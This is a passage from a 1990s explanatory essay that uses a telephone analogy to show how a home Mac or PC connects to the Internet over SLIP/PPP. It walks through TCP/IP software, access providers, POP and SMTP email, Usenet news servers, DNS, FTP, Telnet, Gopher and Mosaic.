+downloading or uploading over "normal" dial-up connections (e.g., to a +BBS). + +But you really don't need to know that, any more than you need to +understand how telephone line signalling works in order to call someone. +In fact, this is a good analogy if you think about what it means to be +"on the public telephone network" and use local or long-distance phone +service: + +* You have a device (i.e., a telephone) which can send and receive data +(i.e., the sound of voices) using some sort of low-level magic (which you +don't really worry about). + +* Your phone has a communications link (phone line) to an access point +(your local telephone central office) through which your phone can +connect to other phones anywhere in the world (and vice versa). + +* When connected in this way, your phone has an identifying number (your +phone number) which other phones use in connecting to your phone, and by +which your phone is identified when connecting to other phones (as in +Caller ID). + +The three elements common to both cases are thus as follows: + +* you have an end-user device which has the smarts to "talk" in a certain +way; + +* you have a link to an access provider over which your device can "talk" +with other devices; and + +* your device has an identifying number or address used when your device +"talks" to other devices and vice versa. + +If it's that simple, why has connecting to the Internet traditionally been +so hard for individual users? Because doing it has been like trying to +get phone service in an environment where you have to build your own +phone, you have to search far and wide to find a phone company (and may +not have one at all in your area), and you have to pay a big premium for +service if and when you find a service provider. + + +Making Your Mac or PC Internet-Capable + +Let's go back and analyze what's happening when I use my Mac on the +Internet. First, let's discuss what you need to make your PC or Mac +Internet-capable, "building a phone" as it were (and we'll price it out +to boot). + +I started with a Macintosh system with a 14.4 Kbps modem. Assuming that +you already have a PC or Mac, you can add a new 14.4 Kbps modem for as +little as $100 to $150 (US) or so, depending on the modem's brand, +whether the modem is external or internal, and so on. For example, I +recently bought a Pratical Peripherals 14.4 Kbps external modem for $140; +four years ago I paid almost $500 for an earlier Practical Peripherals +modem that only supported 9.6 Kbps. + +To that I added the requisite TCP/IP software. For Macintoshes this comes +in two parts: First comes a product called MacTCP supplied by Apple; +MacTCP is the standard TCP/IP product for all Macs. Then comes software +to implement either the SLIP or PPP protocols that MacTCP needs to +support TCP/IP over dialup links. I use the InterSLIP software from +InterCon Systems Corporation; InterSLIP is freeware. + +MacTCP is not freeware, but you can get it (along with InterSLIP and +related stuff noted below) by buying the book "Internet Starter Kit for +Macintosh" by Adam Engst. (See the end of this document for a list of +references.) Also, Apple will be including MacTCP in the upcoming System +7.5 operating system (to be released later this year). After its release +System 7.5 will be shipped with all new Macs, so at that point you'll get +TCP/IP software on new Macs at no extra cost whatsoever. (You'll be able +to get it for old Macs by buying System 7.5 separately.) + +For 386 or better PCs running Windows 3.1 you can get a similar +combination of TCP/IP software with SLIP capability by buying Engst's +companion volume for Windows or similar works. (Again, see the end of +the document for references.) The software in this case is a entry-level +version of Chameleon from NetManage. (A shareware product, Trumpet +Winsock by Peter Tattam, is also available, and many people prefer it.) +In the next major release of Windows (Windows 4.0 or "Chicago") Microsoft +will be including TCP/IP and PPP capability in the base operating system +at no extra cost. At that point you'll get TCP/IP software at no extra +cost if you buy a PC with Windows 4.0 preloaded. (You'll be able to get +it for older PCs by buying Windows 4.0 separately.) + +I should add that the cheapness of (commercial) TCP/IP software for Macs +and PCs is a very recent phenomenon. Traditionally TCP/IP software has +been seen as of interest only to businesses running in-house local area +networks, and it cost as much as $400 or $500 per PC or Mac. TCP/IP +software is still this expensive in many cases if you need true LAN +capabilities, but software vendors have woken up to the rapidly growing +market for individual use of TCP/IP over dial-up lines to access the +Internet. Thus many commercial TCP/IP software packages have dropped in +price to less than $100, at least for basic capabilities. + +As noted above, within the next year or so this cost will drop further to +zero; that is, at some point TCP/IP and SLIP or (more likely) PPP +capability will be bundled with the base operating system software +shipped with every new Windows PC and Mac. At that point the only +incremental cost to make your PC or Mac "Internet-capable" will be for +the modem itself, which many if not most people who buy computers will be +buying anyway for other reasons--for example, to connect to BBSs or to +commercial online services such as America Online, CompuServe, and +Prodigy. + +Some final notes on software compatibility: There are a number of +potential compatibility problems in configuring software "stacks" +consisting of the base TCP/IP software, network drivers underneath, and +Internet applications on top; this has been especially true when mixing +and matching software from different sources. Fortunately these problems +are not really an issue in the Macintosh world, and are rapidly becoming +a thing of the past in the PC world (at least for people using Windows). + +As noted above, in the Macintosh world Apple is the only major supplier +of the basic TCP/IP software, in the form of the MacTCP product. All +Macintosh Internet applications are thus written to interface to the +MacTCP software, so compatibility problems are kept to a minimum. Most +of the problems that do occur are connected to the particular revision of +MacTCP being used with a given application on a given Mac; almost all +current Mac Internet applications work best with the current 2.0 revision +of MacTCP. (The latest revision at the time of writing is 2.0.4.) + +In the Windows world the compatibility problem has not yet been totally +solved, but has been to a great degree addressed by the development of +the "Windows Sockets" or "Winsock" standard and the implementation of +TCP/IP products that conform to it. The Winsock standard specifies the +interface between Windows-based Internet applications (e.g., Telnet and +FTP) and the TCP/IP software underneath them. + +Thus for example, since NCSA Mosaic is a Winsock-compliant application, +you can run it over either NetManage's Chameleon TCP/IP software or Peter +Tattam's Trumpet Winsock software. Both these products provide a +WINSOCK.DLL run-time library that implements the Winsock interface; the +WINSOCK.DLL file is different for each TCP/IP product, but the interface +provided to applications running above the TCP/IP software is always the +same--at least in theory. + + +Connecting to the Internet + +As described above, I first made my personal computer Internet-capable +("built my phone") by installing the proper TCP/IP and SLIP software on +my modem-equipped Macintosh. (I later installed comparable software on +my PC as well.) Next I signed up with a service provider that could give +me a connection to the Internet (in my case the D.C.-area company Digital +Express Group, Inc.). My Internet access provider supplied me with at +least three things (actually more, but we'll get to that): a dial-up SLIP +access phone number to have my modem connect to, a personal "SLIP +userid," and a personal password to go with the SLIP userid. The SLIP +userid is some arbitrary string like "xx537", and the password is like a +standard login password for a UNIX system or BBS. + +I configured the InterSLIP software with the dial-up SLIP access phone +number and my SLIP userid, and now direct the software to call up the +SLIP phone number using the Mac's 14.4 Kbps modem. The call is answered +by a corresponding 14.4 Kbps modem at the other end (like the ones used +by BBSs). That modem is connected to a SLIP-capable "terminal server," a +black box that takes the data coming from my Mac over the dial-up line +and retransmits it to my Internet access provider's local area network, +which is in turn connected to the Internet using an "IP router" (another +black box you don't have to worry about). + +This terminal server is similar to the ones used on many college campuses +and at many Free-Nets and other community networks like CapAccess to +connect users from dial-up modems over a LAN into the actual UNIX host +system they login to. The main difference is that the SLIP-capable +terminal servers at the Internet access provider have an extra capability +which lets them pass "raw" TCP/IP data through. (Access using PPP is +similar.) + +In fact, when you first connect to the Internet access provider's modem +and terminal server, it looks very much like logging in to a remote UNIX +system. (That's if you were looking at the conversation, which typically +you don't--login is normally handled by an automated script). The first +thing you would see is a prompt for a userid, at which point you (or the +script) enter the special SLIP/PPP userid. You would then see a password +prompt, in response to which you (or the script) enter the SLIP/PPP +password. (The SLIP or PPP software would prompt you for your password if +you hadn't supplied it with the rest of your configuration information.) + +On a BBS or UNIX system you'd next see the opening screen and menu (or a +UNIX prompt). However with a SLIP or PPP connection your software and the +terminal server now go into a special mode where they start exchanging +TCP/IP data. This is somewhat reminiscent of what happens when a +communications program is in download or upload mode, and if you looked +at what's actually going across the dial-up line it would look pretty +much like garbage with a few recognizable bits mixed in. However you +don't actually see the garbage because the SLIP or PPP software doesn't +bother showing it to you; it just says "connected" and that's it. + +A couple of important points to note: First, having made the SLIP or PPP +"connection" you really aren't logged in to any host; you just have the +capability to send data out over the Internet. To continue with our +telephone analogy, you've plugged in your "phone" and have "Internet dial +tone" but you haven't called anybody yet. + +You might ask, why do you need a userid and password if you're not +actually logging in to anything? Because my Internet access provider +wants to be able to bill me for the time I spend connected to the +Internet through their terminal server, and to do this they need an id of +some sort to know that it's me connecting. I in turn would like a +password so that no one else can connect to their SLIP/PPP terminal +server and bill time to my id. You can think of this as my "Internet +calling card number" and associated Personal Identification Number or +PIN. + +For those really into the bits and bytes, an interesting technical +question is: How does the SLIP/PPP terminal server check my userid and +password and then account for my connect time? The answer is that it +either checks my userid and password against an internal database held in +non-volatile memory on the terminal server itself, or it sends the userid +and password to a real computer system to be checked against a +userid/password database on disk. (For many modern terminal servers this +can be done using the Kerberos authentication protocol invented at MIT.) + +If the SLIP/PPP userid checks out, the terminal server (if it has this +capability) then sends a "start of call" record to a real computer +system to be stored in a log (many terminal servers use the UNIX +"syslog" protocol for this); a similar "end of call" record is sent when +the modem connection ends (i.e., the user disconnects). These two +records together enable the Internet access provider to compute the time +and length of the SLIP or PPP session for billing purposes. Again, this +is all quite similar to the way long-distance calling cards work. + +The analogy extends even further: if I always made the connection from the +same phone, my Internet access provider could theoretically use Caller ID +or similar mechanisms to know it was me calling, just as I don't have to +enter a calling card number to dial long distance from my home phone. +However, just as I might make long distance calls while on the road, I +might connect my modem to different phones (and in fact I do, as my Mac +is actually a PowerBook laptop); thus having a separate SLIP/PPP userid +and password is necessary to handle this. + +There's another crucial piece I've left out so far: my "Internet phone +number," the IP address. In my case my Internet access provider assigns +me my very own IP address (mine is 164.109.211.201, in case you're +curious); this is the fourth piece of initial information I was given +when I signed up, along with the three I've already mentioned: SLIP/PPP +dial-up access number, SLIP/PPP userid, and SLIP/PPP password. + +Many terminal servers also have the ability to assign callers an IP +address "on the fly;" the address picked is displayed during the login +sequence and the TCP/IP software on your PC or Mac then picks it up and +uses it. When you dial up the next time, you might get a different IP +address. This is not as confusing as you might think, as it turns out +that for various reasons (touched on later) it really doesn't matter what +your IP address is, as long as you have a valid connection. + +The theory behind doing this dynamic assignment of IP addresses is that it +lets the Internet access provider use a limited-size pool of addresses to +serve a much larger number of people. After all, people only need the +address when they're connected to the modems and SLIP/PPP terminal +server, so the Internet access provider really doesn't need to supply any +more IP addresses than it has dial-up SLIP/PPP ports. + +However I prefer the way my Internet access provider does it. For one +thing, it's much easier to understand, especially using the phone number +analogy. For another, the IP address is often used by remote systems to +identify who's connecting to them over the Internet, just as people use +Caller ID to identify who's phoning them. (Using the IP address for +authentication in this way is not totally secure and fool-proof, but then +neither is Caller ID for that matter.) With "on the fly" assignment I +might get a given IP address at one point, and after I disconnect from +the service someone else could get the same address a few minutes later. + +To summarize: after signing up with an Internet access provider and +connecting to their SLIP/PPP terminal server we're now "on the Internet" +(or we have "Internet dial tone" if you will), having fulfilled the three +conditions we discussed above: + +* With the help of a modem and low-cost TCP/IP software we have an +"Internet-capable" PC or Macintosh. + +* We've established a TCP/IP over SLIP (or PPP) connection to our +Internet access point. + +* We've got an IP address or "Internet phone number" and are ready to +"make calls;" i.e., to connect to other systems and make use of Internet +services. + +This has been a long section and we still haven't gotten to the point of +doing anything really useful. But have patience; believe me, even +telephone dial-tone would seem this complicated if you really looked +"under the covers." In fact, just a few years ago (before "equal +access") getting long-distance phone service in the U.S. through a +non-AT&T carrier such as MCI was also pretty complicated; some may +remember when you always had to dial a special access number and enter +your personal access code before you could dial a long-distance number +using a long-distance company other than AT&T. + + +Using Core Internet Services + +At the end of the last section I'd gotten to the point where my computer +had "Internet dial tone:" it had established a TCP/IP link to the +SLIP/PPP terminal server of my Internet access provider, and was now +ready for me to do useful work (or "make some calls," to continue our +telephone analogy). + +The first thing I did in my example was to check my electronic mail, and +so I started the Eudora mail program. Eudora is available for both Macs +and PCs running Windows. In its first incarnation (release 1.4) it is a +freeware program; I got my copy from Adam Engst's "Internet Starter Kit" +book. Eudora is now also available in a commercial version (release 2.0) +with somewhat more functionality (like mail filters) and official technical +support; I recently bought a copy of release 2.0 for $65 from QUALCOMM, +the vendor that now sells and supports it. + +However, before I explain how Eudora works, I have to digress for a moment +and talk about Internet electronic mail. Traditionally Internet users +have logged in to multi-user systems which were connected to the Internet +24 hours a day. When users send mail (say from "jdoe@cap.gwu.edu" to +"rroe@agency.gov") the messages are transmitted (almost) immediately over +the Internet from the originating host ("cap.gwu.edu") to the receiving +host ("agency.gov") and then are put in the mailbox for the recipient +("rroe"). (Incidentally, the low-level protocol used to send messages +between Internet electronic mail hosts is called SMTP, for Simple Mail +Transfer Protocol.) + +At some later time the recipient ("rroe") logs into the receiving mail +host and then reads the mail messages out of their mailbox using a mail +program such as Pine or Elm. They can also compose new messages, which +are then sent to the recipient's mail host as described above. Note that +the user has to stay logged in to their mail host during the entire time +they're reading messages and composing new ones. + +This method is the way I used to read and compose mail using my original +Internet shell account: I would login to my Internet access provider's +host system ("access.digex.net") and use the UNIX-based mail program Pine +to read and respond to electronic mail. + +However, now that I have a computer which can be linked to the Internet +more directly, I would much prefer to read and compose mail on the Mac +itself and send it or receive it over the Mac's Internet connection. As +in the example above, my Mac does have its own Internet address +("164.109.211.201") and even its own Internet hostname ("ion.digex.net"). +(I'll discuss how Internet hostnames work in more detail below when I +talk about FTP.) Unfortunately, though, I can't use the traditional SMTP +mail protocol, at least to receive mail. + +Why? Because mail sent using SMTP is sent directly to the recipient host, +which in this case would be my Macintosh ("ion.digex.net"), and my Mac +would have to be on the Internet to receive it; otherwise the sending +host would not be able to make an SMTP connection. But because I'm using +an intermittent dial-up SLIP/PPP connection, there's no guarantee that my +computer would be online at the exact time the sending host wanted to send the +message, and thus I would end up never receiving messages sent to me. + +Going back to our telephone example, sending Internet electronic mail in +the traditional manner (i.e., using SMTP end-to-end) is somewhat like +leaving a message for someone on their personal answering machine: you +can call their phone number 24 hours a day, and their answering machine +is always turned on and ready to record messages. But in my case my +"Internet phone number" (IP address) is only active part of the time +(when I'm connected to my Internet access provider via SLIP or PPP and +have "Internet dial tone") and my "personal answering machine" (my Mac) +won't always be turned on and ready to receive my messages. + +The solution to this problem is very simple: I'll have another +Internet-connected system (a "mail server") receive my email messages for +me, and then when I'm connected to the Internet I'll download my mail +messages from that system to my Mac. Continuing the answering machine +analogy, this arrangement is similar to what phone companies provide via +services like Bell Atlantic's Answer Call; in place of your having your +own answering machine, the phone company provides a voice mailbox for you +somewhere in their network, and callers to your number can leave messages +in that voice mailbox. You can then periodically call a special phone +number associated with the voice mailbox service, punch in your access +code, and listen to your messages. + +In my case, rather then sending email to "hecker@ion.digex.net" (recall +that "ion.digex.net" is the hostname of my Macintosh), people send email +to "hecker@access.digex.net", where "access.digex.net" is the name of the +mail server run by my Internet access provider; this system runs 24 hours +a day and has a permanent Internet connection. Once I dial up my +Internet access provider and my SLIP connection is active, I then have +Eudora connect to the host "access.digex.net" over the Internet and +download any messages I've received since last I connected. + +The specific protocol used to do this is _not_ SMTP, but is another +protocol called Post Office Protocol or POP. In particular Eudora and +the "access" system use POP3, the third and most recent version of this +protocol. In technical jargon the system "access.digex.net" is thus a +POP3 mail server. + +I didn't mention it above, but I also have to supply Eudora with a userid +and password, which it then passes on to the mail server when connecting +to it using POP. If there were no userid or password, then anyone else +on the Internet could connect to my Internet access provider's mail +server and download my mail. + +As it happens, my "mail userid" and associated password are the same ones +I used to use when logging in to the "access" system itself as a user of +an Internet shell account, namely "hecker" and the corresponding login +password. This makes for a smooth transition from the old way of doing +things (using a shell account) to the new way (using SLIP/PPP): my +electronic mail address is still "hecker@access.digex.net" (userid +"hecker" on host "access.digex.net") and I don't have to choose a new +password if I don't want to. + +Also, if I ever want or need to I can still dial up the "access.digex.net" +system in the old way (i.e., using a VT100-compatible communications +program instead of SLIP or PPP) and login and read my mail using Pine. +(The mailbox format used by POP is the same standard UNIX mailbox format +used by Pine, Elm, and other host-based mail programs.) + +However, my mail userid and password are _not_ the same as my SLIP/PPP +userid and password that I've previously mentioned; this is because we +are talking about two fundamentally different services provided in two +fundamentally different ways. SLIP/PPP access is a low-level +communications service accessed by dialing up a SLIP/PPP-capable terminal +server; POP email access is a higher-level service accessed by connecting +over the Internet to a POP3-capable host system (mail server). Thus if +you get a new SLIP or PPP account from an Internet access provider you'll +receive an email (POP) userid and password in addition to your SLIP/PPP +userid and password. + +(There are exceptions to this. Some smaller Internet access providers do +not have separate terminal servers, but rather connect modems directly to +serial lines on their UNIX host systems, and support SLIP or PPP access +using software running on those systems. In this case a user--or more +correctly, their SLIP software executing an automated login script--would +login to the host system using a single userid and password, and would +then invoke a special SLIP or PPP function to convert the session into a +SLIP or PPP connection. Eudora or other POP3 mail programs would use this +same userid and password to download mail.) + +Suppose that I had a full-time hard-wired Internet connection in my home +(for example, like those starting to be provided by some cable +companies). I could then have "Internet dial tone" all the time, and I +wouldn't need something like SLIP or PPP to connect. I also wouldn't +need the equivalent of a SLIP/PPP userid and password; as I discussed +previously, their main use is for authentication and billing for Internet +access, and the cable company already has a perfectly good way to bill +you for cable-based services. + +However I might still want the cable company to store my incoming +electronic mail messages for me; for example, I might not want to keep my +computer turned on all the time. In this case I could use Eudora and +POP to connect to a remote mail server, just as I do now over SLIP or +PPP, and I would still have to have a mail userid and password supplied +to me by the cable company in its role as an Internet access provider. + +Continuing the answering machine analogy, having an electronic mailbox +accessed using POP can thus be viewed as a value-added option to a basic +Internet connection, just as having a voice mailbox through Bell +Atlantic's Answer Call is a value-added option to a basic phone line. +This also implies that email service could be "unbundled" from basic +Internet service; for example, you might have a basic Internet connection +but no electronic mail service, or (more likely) you might get basic +Internet service from one service provider and an electronic mailbox +service from another. + +(As it happens, I don't know of any Internet access provider that +currently unbundles POP-based email in this way. However as competition +heats up in the Internet access market, some companies may choose to +further break their current services down into standard and optional +offerings, in order to offer the lowest entry-level price possible. There +may also be a market niche for companies providing SLIP/PPP service only, +with customers expected to arrange for electronic mail service on their +own; some non-profit Internet cooperatives do business this way today.) + +Back to Eudora: As I've mentioned, once Eudora has downloaded my incoming +email messages to my Mac I can then read them at my leisure; I don't need +to maintain the Internet SLIP connection. What about sending messages? +Here again I don't need to be connected in order to compose messages, but +(it almost goes without saying) I do need to be connected in order to +send them. + +As it turns out, for historical reasons (a fancy way of saying "that's +just the way it is") the POP protocol is not used when sending electronic +mail messages. Instead Eudora uses the SMTP protocol I discussed +earlier, but with a twist. In "SMTP classic" the sending host (my Mac in +this case) connects directly to the receiving host (say "whitehouse.gov", +if I'm sending a message to Bill Clinton). However the receiving host +might be down or unreachable due to some Internet problem, so that Eudora +would have to postpone sending the message to a later time, say a few +hours later. + +But why should I have to go to all the trouble of remembering to reconnect +periodically to my Internet access provider? Instead what happens is +that Eudora uses the SMTP protocol to send my message to my mail server. +The server then uses SMTP again to send the message on to its final +destination. If the mail server can't do so right away it will keep +trying until it succeeds; meanwhile I can disconnect my Mac and not worry +about it. + +You may have noticed that I didn't say anything about userids and +passwords when sending mail. That's because the mail server doesn't +authenticate me in any way when sending mail via SMTP; I just tell Eudora +to upload the message and the email server accepts it. + +You might then ask, "Doesn't this mean that someone else can send fake +electronic mail under your name?" For this and other reasons, the answer +is yes, they certainly can. As it happens, it is almost trivially easy +to send forged Internet mail, and has been ever since Internet mail +began. This is why, for example, you should be very skeptical if you ever +get a message purportedly from your Internet access provider telling you +that they need to know your userids and passwords for some reason. + +There are well-known ways to solve this problem, but they haven't been +implemented because they depend on encryption and related technologies, +and implementation in the Internet has been held hostage to the same sort +of disputes we've seen in the infamous "Clipper chip" controversy. + +(I don't want to rehash this whole issue here, but I do want to point out +the basic underlying problem. In the "market" that is the Internet, the +most successful "products" are based on technology that is available +worldwide and is in the public domain or otherwise freely usable. +Exporting encryption technology from the U.S. is legally restricted +because of national security concerns, and "public key" encryption, the +most useful type for electronic mail, is covered by a software patent in +the U.S. Thus there are at least two major obstacles to creating a +world-wide standard for secure Internet mail--yet another example of how +once obscure policy questions can eventually come to affect all of us.) + +That's about it for electronic mail. The case of Usenet news (online +conferences) is somewhat similar, and worth covering at this point. +Again, we need to digress for a moment and talk about how Usenet news +works underneath. Usenet is not a communications network per se but +rather a loosely-organized collection of host systems which exchange +conference articles with each other. (In this sense Usenet is analogous +to FidoNet in the PC BBS world, and in fact there are gateways between +Usenet and FidoNet.) + +When a conference article is submitted (or "posted") on one system it is +then sent on to one or more other systems, which then send it on to +others, and so on (rather like a chain letter), until all Usenet hosts +receive it. Once an article is received at a host it is stored for +people to read it. There are a few thousand Usenet conferences (or +"newsgroups") and several thousand Usenet hosts around the world. Thus +as you might imagine a lot of traffic flows through the system every day, +so much so that a Usenet host system typically stores only the last few +days worth of articles. + +If I want Usenet access from my personal computer I thus have at least +three possible ways to get it. First, I could have my computer be a +full-fledged Usenet host and receive all conferences; this is pretty much +out of the question in my case, given that it's hard to fit several +gigabytes of disk space in a laptop. Second, I could have my computer be +a Usenet host but receive only a few newsgroups; this is a much more +reasonable thing to do, and you can get software for both Macs and PCs to +do it, but you'd still be receiving every article in every newsgroup you +chose to receive, even articles of little or no interest to you. + +The third alternative is what I use with my Mac and NewsWatcher: connect +to a remote Internet host acting as a "news server;" this host +("news1.digex.net" in my case) receives all Usenet newsgroups and stores +all articles for as long as it can without running out of disk space. +Assuming that I have an Internet SLIP/PPP connection active, I then have +NewsWatcher connect to the news server over the Internet and download the +list of articles (i.e., by subject line) in each newsgroup. I then pick +which articles I want to read and have NewsWatcher download only those +articles; the rest are left unread on the news server. + +Conceptually this process is quite similar to using a POP mail server as +described above. As with mail there is a special protocol, NNTP (Network +News Transfer Protocol), which NewsWatcher and the news server use to +talk to each other. + +However I don't have to supply a userid or password when reading and +posting news. I do have to tell NewsWatcher my email address +("hecker@access.digex.net") because this is used to mark my posted +articles as coming from me, and is also needed when I send mail to +someone in lieu of posting a reply to the newsgroup. However this +information is not used to authenticate me to the news server in any way. + +You might ask, can anyone on the Internet then use NewsWatcher (or other +NNTP client programs) to read and post articles from and to my Internet +access provider's news server? There are some news servers on the +Internet for which this is true; using these "public NNTP sites" anyone +can read or (in some cases) post Usenet news articles. (And I might add, +using these servers as well as through other means it is possible to send +forged Usenet postings under another's name, similar to what can be done +with Internet mail.) + +However my Internet access provider's news server will not accept requests +from anywhere on the Internet; it will only accept requests from IP +addresses and hostnames that it knows about, that is, those that +represent valid subscribers to the provider's SLIP or PPP service. Since +my Mac has an IP address and Internet hostname assigned by the Internet +access provider when I signed up, the provider's news server will +recognize me as a valid user. Thus IP address and hostname are again +used as a useful (albeit not totally secure) means of authenticating +users. + +The final point I want to make about Usenet news is that, like access to +a mail server, access to a news server is a value-added service over and +above basic SLIP or PPP Internet access and could in theory be unbundled +as well, so that you might have a basic Internet connection with no mail +or Usenet news service at all, an Internet connection and mail service +but no Usenet news service, or Internet service, mail service, and news +service from one, two, or even three providers. (Again, most present-day +Internet access providers do not in fact unbundle services in this +manner.) + + +Accessing Other Internet Services + +With both electronic mail and Usenet news it's not enough just to have a +SLIP or PPP Internet connection; you also need to have access to a +special Internet host or hosts acting as mail or news servers +respectively. This access is usually prearranged with some organization, +typically the Internet access provider itself. + +However there are a wealth of other services for which you need only a +basic Internet connection. The first example is using anonymous FTP to +download information files or shareware. On my Mac the Fetch program +(which implements FTP) simply asks me for the name of the host I wish to +connect to. Some magic then happens to convert the host name to an IP +address (analogous to looking up a phone number) and the connection is +made, after which I can download files. The FTP site doesn't ask for an +individual password, and doesn't really care who I am. + +Well, this is almost true. First, all FTP sites ask for some sort of +password even if they don't care what it is, and for anonymous FTP sites +Fetch will send your email address (e.g., "hecker@access.digex.net") as +the password as a courtesy in case the FTP site is logging access for +some reason and wants to record this information. + +Second, as a mild security measure many FTP sites will check to make sure +that the IP address from which you're connecting (e.g., the IP address of +my Macintosh) matches the Internet hostname associated with the IP +address. In telephone terms this is like getting the phone number of a +caller via Caller ID and then looking in a reverse or "criss-cross" +directory to find out their name. + +This is probably a good place for a brief digression on Internet +hostnames. As implied earlier, Internet hostnames (like "cap.gwu.edu") +are to IP addresses ("128.164.140.32") as people's names are to their +phone numbers, and in fact there is a "directory assistance" service to +do automatic lookups of IP addresses for a given hostname and vice versa. +This automated service is referred to as Domain Name Service or DNS, and +is silently invoked by my Macintosh every time I give it an Internet +hostname to connect to. The lookup is done by querying a special +Internet host called a DNS name server; in my case this server is one +maintained by my Internet access provider, and its IP address is yet +another of the pieces of configuration information I get when I sign up +for SLIP or PPP service. + +Besides letting me (or more properly, my Macintosh) look up IP addresses +automatically, my Internet access provider's DNS name server also +maintains entries listing the Internet hostname and IP address of my Mac. +This lets remote systems like anonymous FTP sites do the sort of checks I +briefly mentioned above. Other than that my Mac's hostname +("ion.digex.net") isn't used for much, as email for me is sent to the +mail server's hostname ("access.digex.net") instead. + +Like directory assistance, DNS name service is essential but fundamentally +uninteresting (unless you need to use it and it's not working). It is +usually provided by the Internet access provider as a part of basic +Internet service and is not really a good candidate for unbundling. +(However many Internet access providers do provide an extra cost service +whereby you can choose your own personal customized hostname, like +"hecker@my-company.com".) + +Continuing on, Telnet from my Mac works similar to FTP: I tell the NCSA +Telnet application the hostname I wish to connect to, it does the silent +DNS lookup to find the IP address, and then connects me directly over the +Internet to the remote system. The only userid and password required is +whatever the remote system might ask for; some Telnet-based services use +a dummy or "guest" userid and password, or even no userid or password at +all. Connecting to a UNIX system via Telnet normally looks almost exactly +like connecting via a dial-up line. + +Connecting to more exotic systems like Multi-User Dungeons or MUDs is very +similar (and typically uses Telnet or a Telnet-based protocol +underneath): you supply the hostname you wish to connect to, you connect, +you sign on in some way, you type at the system, you get responses back, +you repeat until you're done, and then you logoff and disconnect. The +underlying SLIP or PPP Internet connection must be active during the +entire session, which may range in time from a few minutes to several +hours (or even days, in the case of particularly enthusiastic MUD fans). + +Gopher and Mosaic/WWW are a little more complicated in the way they work. +When I start up either TurboGopher (for Gopher) or NCSA Mosaic (for World +Wide Web) they attempt to connect initially to a preset "known host" (or +hosts, if alternates have been set up); for Gopher this host is at the +University of Minnesota and for Mosaic at the National Center for +Supercomputing Applications at the University of Illinois Urbana- +Champaign. + +(Both Gopher and Mosaic can be changed to connect to other initial hosts, +or even to not connect to a host at all. However in the case of Mosaic +at least it is not necessarily immediately obvious how to reconfigure the +software to do this. This is a shame, as the NCSA host is now getting +bogged down by all the copies of Mosaic connecting to it every time a new +user invokes the program.) + +Once connected to the initial host, TurboGopher or NCSA Mosaic operate in +a true "client/server" fashion: the client (i.e., the program running on +the Mac) sends a request over the Internet to the server (the program +running on the remote host), which in turn sends back a response. All +this happens invisibly underneath using a special-purpose communications +protocol (Gopher+ for Gopher and HTTP or HyperText Transport Protocol for +Mosaic/WWW); all you see on the screen is a graphical "point and click" +interface like that characteristic of other Mac- or Windows-based +programs. + +If you pick an item from a Gopher menu or choose to follow a hypertext +link in Mosaic then one of three things may happen: you may get a menu +("page" in WWW jargon) on the same system, you may get a menu (page) +actually stored on another system, or you may invoke an item that does +something other than just go to another menu or page. The first case is +not that interesting, so we'll skip it. (It's actually a special +instance of the second case.) + +In the second case, for menus (pages) served by another system on the +Internet, TurboGopher or Mosaic automatically reconnect to the new system +and send the proper low-level commands to retrieve the menu (page) being +invoked. As you browse through the menu hierarchy (or the hypertext tree) +the Mac programs automatically switch from system to system as needed, +so there is no one system to which TurboGopher or Mosaic are "connected". + +In the third case, when a user invokes a menu item or clicks on a +hypertext link, some special action may be performed. One very common +action is to initiate automatic downloading of some file. This is +implemented essentially by having FTP-like functionality built into +TurboGopher and Mosaic, so that by invoking a Gopher or Mosaic item you +can fetch any file retrievable via anonymous FTP. If the file is of a +special type TurboGopher and Mosaic can do also something special with +it. For example, if the file were a graphics image in GIF format then +after downloading is complete TurboGopher or Mosaic would try to invoke a +GIF viewer to show you the file. (Of course, you must already have GIF +viewer software on your system, and you must have made sure that +TurboGopher or Mosaic are configured to use it.) + +There are lots of other interesting features of Gopher and Mosaic/WWW; +however, the most important thing to remember is that, unlike mail and +Usenet news, you don't have to have anything to use Gopher and Mosaic/WWW +except the Internet connection itself. + + +Summary + +It's been a long and tangled path thus far, and thank you for sticking +with it. Here are the key points I'd like you to take away from this +paper: + +* You can take a Macintosh or a 386 or better Windows-based PC that +already has a modem and for a relatively small one-time expenditure +(under $50 for TCP/IP and SLIP or PPP software) make it capable of being +a full-fledged Internet node. + +* For an expenditure of between $10 and $40 per month in the U.S. +(depending on your location and the amount of competition in your market) +you can sign up with an Internet access provider who will let you connect +your PC or Mac to the Internet on an on-demand, dialup basis. What you +get for your money is an Internet hostname and IP address (with a +directory entry for your system maintained by DNS), a number to call for +SLIP or PPP access, and a special SLIP/PPP userid and password to +authenticate you and allow your connect time to be tracked. (Note that +if your Internet access provider assigns IP addresses "on the fly" then +you won't get a hostname or IP address of your own.) Your provider +should also supply you with some other miscellaneous configuration +information as well, most of which is pure gobbledegook and is needed +only when you first configure SLIP or PPP (but is very important at that +time). + +* With just the basic dial-up Internet SLIP/PPP service you can use FTP +clients like Fetch to download files, Telnet programs like NCSA Telnet to +login to remote systems, Gopher clients like TurboGopher to access Gopher +servers, and WWW clients like NCSA Mosaic to access World Wide Web +servers. + +* If your Internet access provider also runs a POP mail server (as almost +all do), you can have the mail server receive mail for you and then use +an email program like Eudora to download it when you're connected, for +you to read and respond to offline. Your provider will supply you with a +mail userid and password to do this; authentication is done by the mail +server. + +* If your Internet access provider also runs an NNTP news server, you can +use a Usenet news reader such as NewsWatcher to connect to the news +server, select interesting Usenet news articles, and download them for +reading. You can also post new articles or follow-ups to old articles. +The news server will authenticate you (if necessary) based on your IP +address and hostname. + +* In theory electronic mail and Usenet news services could be unbundled +from basic Internet access ("Internet dial tone"). This is rarely seen +today but may become more common as the market for personal Internet +access evolves. + +Note that a higher-speed dedicated Internet connection, via cable for +example, would work in a similar manner. The major difference would be +in the first two items. First, for a high-speed connection your PC or +Mac would not use a modem but rather something like an Ethernet +controller board, which typically runs about $100 to $200 on up. (This +might hook up to a "cable Ethernet" connection located on your set-top +box.) + +Second, with a dedicated connection there would be no need for an +equivalent of the SLIP/PPP userid and password, as the cable company +could simply bill you monthly as it does today for cable service. + +Everything else would work exactly the same way, only faster; the +applications software itself (e.g., Eudora, NewsWatcher, TurboGopher, +NCSA Mosaic, etc.) would stay the same and would be configured the same. +(Whether a TCP/IP connection uses SLIP, PPP, Ethernet, or any other +network technology is essentially transparent to the user application.) + +I should add that typical "Internet over cable" technologies support a +high "downstream" bandwidth (i.e., to the home) but a slow "upstream" +bandwidth (i.e., to the cable company headend and thence to the +Internet). They are thus ideally suited for applications like Mosaic, +where you typically download to your PC or Mac a great deal of data in +the form of graphics images, sound clips, etc., with only a few bytes of +commands going the other direction back to the World Wide Web servers. +As a result, "Internet via cable" may be 